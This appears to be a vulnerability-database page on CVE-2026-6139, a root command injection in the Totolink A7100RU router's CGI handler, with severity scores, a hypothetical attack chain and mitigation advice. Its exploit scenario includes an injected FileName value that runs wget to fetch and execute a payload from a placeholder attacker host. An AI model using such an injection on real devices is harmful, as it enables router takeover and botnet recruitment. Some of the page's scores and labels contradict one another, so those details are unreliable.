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A7100Ru EUVDEUVD-2026-21764

| CVE-2026-6139 HIGH
OS Command Injection (CWE-78)
2026-04-13 VulDB
8.9
CVSS 4.0 · Vendor: VulDB
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Internet scan for exposed Totolink management interface
  2. Delivery
    Send crafted POST to /cgi-bin/cstecgi.cgi with FileName injection
  3. Exploit
    CGI executes unsanitized command as root
  4. Install
    Download malware payload to /tmp
  5. C2
    Establish C2 channel
  6. Execute
    Deploy router botnet agent
  7. Impact
    Leverage compromised network position for data exfiltration or lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit Totolik A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi targeting the UploadOpenVpnCert function with malicious FileName parameter. No authentication, user interaction, or special configuration required.

Impact

This represents critical real-world risk requiring immediate attention. CVSS 9.8 scoring reflects maximum severity: network attack vector (AV:N) means exploitable from Internet, low complexity (AC:L) requires no special conditions, no privileges needed (PR:N) means unauthenticated access, no user interaction (UI:N) enables fully automated exploitation, and high impact to confidentiality, integrity, and availability (C:H/I:H/A:H) grants complete system compromise. Publicly available exploit code (GitHub POC) significantly lowers attacker skill requirements and enables mass scanning. CVSS temporal modifier shows Proof-of-Concept code exists (E:P). However, no EPSS score provided and not present in CISA KEV, suggesting no confirmed active exploitation campaigns at analysis time. SSVC assessment: exploitation status is POC-available, automatable is yes (simple HTTP request), technical impact is total (root command execution on network device). Primary risk is Internet-exposed router compromise for botnet recruitment, network pivot points, or data interception. Older firmware version (2019) suggests likely end-of-life status with low patch probability.

Exploit ScenarioDerived

An unauthenticated attacker scans the Internet for Totolink A7100RU routers with exposed administrative interfaces on port 80/443. Upon discovering a target, the attacker sends a crafted HTTP POST request to /cgi-bin/cstecgi.cgi invoking UploadOpenVpnCert with a malicious FileName parameter containing shell metacharacters (e.g., FileName=cert.pem;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;). The unsanitized input executes arbitrary commands as root, downloading and launching botnet malware. Publicly available exploit code on GitHub enables script-kiddie level attackers to automate mass exploitation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 13, 2026

OS command injection in Totolink A7100RU firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the FileName parameter in UploadOpenVpnCert function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (POC on GitHub), enabling trivial exploitation with no authentication required. CVSS 9.8 (Critical) reflects network-based attack vector with low complexity and no privileges needed. No vendor-released patch identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis for this 2019 firmware version. Immediate mitigations: disable remote administrative access to router management interface from WAN/Internet side; restrict administrative access to trusted internal networks only via firewall rules or router WAN access controls; disable OpenVPN certificate upload functionality if not required. Long-term solution: replace affected Totolink A7100RU devices with actively supported router models from vendors with established security update programs. Monitor vendor advisories at https://www.totolink.net/ for potential firmware updates. For organizations requiring continued use: implement network segmentation placing IoT devices on isolated VLANs with restricted lateral movement capabilities, deploy intrusion detection systems monitoring for command injection patterns targeting /cgi-bin/cstecgi.cgi endpoint.

Affected VersionsENISA

A7100RU 7.4cu.2313_b20191024

Affected Packages

euvd a7100ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

This is a CWE-78 OS command injection vulnerability in Totolink A7100RU router firmware. The CGI Handler component processes HTTP requests through /cgi-bin/cstecgi.cgi endpoint, specifically in the UploadOpenVpnCert function responsible for handling OpenVPN certificate uploads. The FileName parameter lacks proper input sanitization, allowing shell metacharacters to be passed directly to system command execution contexts. Affected product: Totolink A7100RU router (cpe:2.3:a:totolink:a7100ru) running firmware version 7.4cu.2313_b20191024 from October 2019. Command injection occurs when user-supplied data is concatenated into shell commands without escaping or validation, enabling arbitrary command execution under the privileges of the CGI process (typically root on embedded router systems).

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Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 27, 2026 - 19:05 vuln.today
Public exploit code
Severity Changed
Apr 13, 2026 - 01:22 NVD
CRITICAL HIGH
CVSS changed
Apr 13, 2026 - 01:22 NVD
9.8 (CRITICAL) 8.9 (HIGH)
CVE Published
Apr 13, 2026 - 00:15 nvd
HIGH 8.9

DescriptionCVE.org

A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function UploadOpenVpnCert of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Executive ViewAI

Why It Matters

Totolink A7100RU routers running firmware 7.4cu.2313_b20191024 contain a critical remote command injection vulnerability that allows unauthenticated attackers to execute arbitrary commands directly on affected devices. This poses an immediate threat to network perimeter security, as routers are typically internet-facing and serve as entry points to internal infrastructure. Organizations using this router model must prioritize immediate remediation to prevent complete device compromise and potential lateral movement into corporate networks.

Business Impact: Severe
Compensating Controls

Until patch availability is confirmed by vendor: (1) Restrict network access to the vulnerable /cgi-bin/cstecgi.cgi endpoint using firewall rules to deny external and untrusted source IPs; (2) Isolate affected routers on a separate VLAN with egress filtering; (3) Implement continuous monitoring for suspicious command execution patterns via syslog analysis; (4) Prepare contingency plan for device replacement if vendor does not release a patch within 60 days.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Social Media
4
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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